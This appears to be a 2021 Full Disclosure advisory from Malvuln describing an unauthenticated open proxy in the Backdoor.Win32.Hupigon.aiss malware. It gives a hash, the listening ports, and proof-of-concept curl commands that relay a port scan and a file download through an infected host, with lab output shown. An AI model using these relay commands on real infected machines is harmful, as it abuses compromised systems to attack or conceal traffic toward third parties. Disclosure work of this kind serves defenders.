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Date: Sat, 3 Jul 2021 17:32:57 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Hupigon.aiss / Unauthenticated Open Proxy

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Hupigon.aiss
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080 and drops its
executable under Windows dir. Third-party attackers who can connect to the
infected system can relay requests from the original connection to the
destination and then back to the origination system. Attackers may then be
able to launch attacks, download files or port scan third party systems and
it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 79affcb4051d36dde3d1543a4fd88368
Vuln ID: MVID-2021-0270
Dropped files:
Disclosure: 07/03/2021

Scan port 21)

curl -H "Host:" -v
 Rebuilt URL to:
 Connected to ( port 8080 (#0)
 GET / HTTP/1.1
 User-Agent: curl/7.55.1
 Accept: */*

220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -H "Host:" -v
--out DOOM.exe

* Trying

 GET /DOOM.exe HTTP/1.1
 User-Agent: curl/7.55.1
 Accept: */*

 HTTP 1.0, assume close after body
 HTTP/1.0 200 OK
 Server: SimpleHTTP/0.6 Python/2.7.6
 Date: Fri, 02 Jul 2021 02:03:28 GMT
 Content-type: application/x-msdos-program
 Content-Length: 103533
 Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT

{ [102194 bytes data]
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01
* Closing connection 0

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of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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